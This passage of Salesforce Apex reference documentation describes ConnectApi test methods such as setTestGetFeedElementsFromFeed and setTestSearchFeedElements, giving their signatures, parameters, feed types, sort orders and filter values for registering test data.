setTestGetTopUnansweredQuestions(communityId, pageSize, result) (Pilot)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.getTopUnansweredQuestions method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestGetTopUnansweredQuestions(communityId, filter, pageSize, result) (Pilot)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.getTopUnansweredQuestions method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElements(communityId, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

setTestSearchFeedElements(communityId, q, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

setTestSearchFeedElements(communityId, q, threadedCommentsCollapsed, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
setTestSearchFeedElementsInFeed(communityId, feedType, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, customFilter, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, result)
Register a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
Register a `ConnectApi.FeedElementPage` object to be returned when the matching
`ConnectApi.searchFeedElementsInFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

Register a `ConnectApi.FeedElementPage` object to be returned when the matching
`ConnectApi.searchFeedElementsInFilterFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

Register a `ConnectApi.ChatterStreamPage` object to be returned when the matching
`ConnectApi.searchStreams` method is called in a test context. Use the method with the same parameters or you receive an exception.
**setTestGetFeedElementsFromFeed(communityId, feedType, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
```
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, ConnectApi.FeedElementPage result)
```

Parameters
- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.
- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values are `Company`, `DirectMessageModeration`, `DirectMessages`, `Home`, `Moderation`, and `PendingReview`.
- **result**
  - Type: `ConnectApi.FeedElementPage`
  - The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getFeedElementsFromFeed(communityId, feedType)`
- Testing ConnectApi Code

**setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0
Signature

```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
The only valid value for this parameter is Company.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

**result**
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
- Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

`result`

Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:

- `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)`
- Testing ConnectApi Code

`setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)`

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
32.0

Signature

```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.
- `feedType`
  Type: `ConnectApi.FeedType`
  The type of feed. The only valid value is `Home`.
recentCommentCount
  Type: Integer
  Maximum number of comments to return with each feed element. The default value is 3.

density
  Type: ConnectApi.FeedDensity
  Specify the amount of content in a feed.
  • AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  • FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  If you pass in null, the default value CreatedDateDesc is used.

filter
  Type: ConnectApi.FeedFilter
  Specifies the feed filters.
  • AllQuestions—Feed elements that are questions.
  • AuthoredBy—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
  • CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
  • QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
  • QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the **Record** feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the **Access Einstein-Generated Answers** permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the **Record** feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

```java
result
Type: ConnectApi.FeedElementPage
The object containing test data.
```

Return Value
Type: Void

SEE ALSO:
- `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)`
- **Testing ConnectApi Code**

```java
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed, result)
```

Register a `ConnectApi.FeedElementPage` object to be returned when the matching `ConnectApi.getFeedElementsFromFeed` method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
44.0

Signature

```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed, ConnectApi.FeedElementPage result)
```

Parameters

- **communityId**
  Type: **String**
  Use the ID for an Experience Cloud site, internal, or null.
**feedType**
Type: `ConnectApi.FeedType`
The type of feed. The only valid value is `Home`.

**recentCommentCount**
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

**filter**
Type: `ConnectApi.FeedFilter`
Specifies the feed filters.
- AllQuestions—Feed elements that are questions.
- AuthoredBy—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
• QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Read—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.

• SolvedQuestions—Feed elements that are questions and that have a best answer.

• UnansweredQuestions—Feed elements that are questions and that don't have any answers.

• UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.

• UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.

threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, ConnectApi.FeedElementPage result)
Parameters

**communityId**
- Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

**feedType**
- Type: `ConnectApi.FeedType`
  - The feed type.

**subjectId**
- Type: `String`
  - The ID of the context user or the alias me.

**result**
- Type: `ConnectApi.FeedElementPage`
  - The object containing test data.

Return Value
- Type: `Void`

SEE ALSO:
- `getFeedElementsFromFeed(communityId, feedType, subjectId)`
- Testing ConnectApi Code

**setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
- 31.0

Signature
- `public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)`

Parameters

**communityId**
- Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

**feedType**
- Type: `ConnectApi.FeedType`
The type of feed. Valid values include every `ConnectApi.FeedType` except `Company`, `DirectMessageModeration`, `DirectMessages`, `Filter`, `Home`, `Landing`, `Moderation`, and `PendingReview`.

**subjectId**
- **Type:** `String`
- If `feedType` is `Record`, `subjectId` can be any record ID, including a group ID. If `feedType` is `Streams`, `subjectId` must be a stream ID. If `feedType` is `Topics`, `subjectId` must be a topic ID. If `feedType` is `UserProfile`, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

**pageParam**
- **Type:** `String`
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
- **Type:** `Integer`
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
- **Type:** `ConnectApi.FeedSortOrder`
- Values are:
  - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
  - `CreatedDateDesc`—Sorts by most recent creation date.
  - `LastModifiedDateDesc`—Sorts by most recent activity.
  - `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
  - `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
- If you pass in `null`, the default value `CreatedDateDesc` is used.

**result**
- **Type:** `ConnectApi.FeedElementPage`
- The object containing test data.

**Return Value**
- **Type:** `Void`

**SEE ALSO:**
- `getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)`
- `Testing ConnectApi Code`

**setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0

Signature

```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

**subjectId**
Type: String
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in `null`, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

**result**

Type: `ConnectApi.FeedElementPage`

The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

`getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)`

Testing ConnectApi Code

**setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly, result)**

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

**API Version**

31.0

**Signature**

```
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedElementPage result)
```

**Parameters**

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, internal, or `null`.

`feedType`

Type: `ConnectApi.FeedType`

Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.

subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out. Currently, feed elements scoped to sites have a User or a Group parent record. However, other parent record types could be scoped to sites in the future.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Testing ConnectApi Code
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.getFeedElementsFromFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
44.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed, ConnectApi.FeedElementPage result)

Parameters
communityId
 Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
 Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.

subjectId
 Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.

recentCommentCount
 Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
 Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
 Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder

Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

filter
Type: ConnectApi.FeedFilter

Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out. Currently, feed elements scoped to sites have a User or a Group parent record. However, other parent record types could be scoped to sites in the future.

threadedCommentsCollapsed
Type: Boolean

Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

result
Type: ConnectApi.FeedElementPage

The object containing test data.

Return Value
Type: Void

SEE ALSO:
Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, filter, threadedCommentsCollapsed)

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, customFilter, result)

Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
40.0

Signature
```
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
customFilter, ConnectApi.FeedElementPage result)
```

Parameters

`communityId`
- Type: String
- Use the ID for an Experience Cloud site, internal, or `null`.

`feedType`
- Type: `ConnectApi.FeedType`
- Value must be `ConnectApi.FeedType.Record`.

`subjectId`
- Type: String
- The ID of a case.

`recentCommentCount`
- Type: Integer
- Maximum number of comments to return with each feed element. The default value is 3.

`density`
- Type: `ConnectApi.FeedDensity`
- Specify the amount of content in a feed.
  - `AllUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - `FewerUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

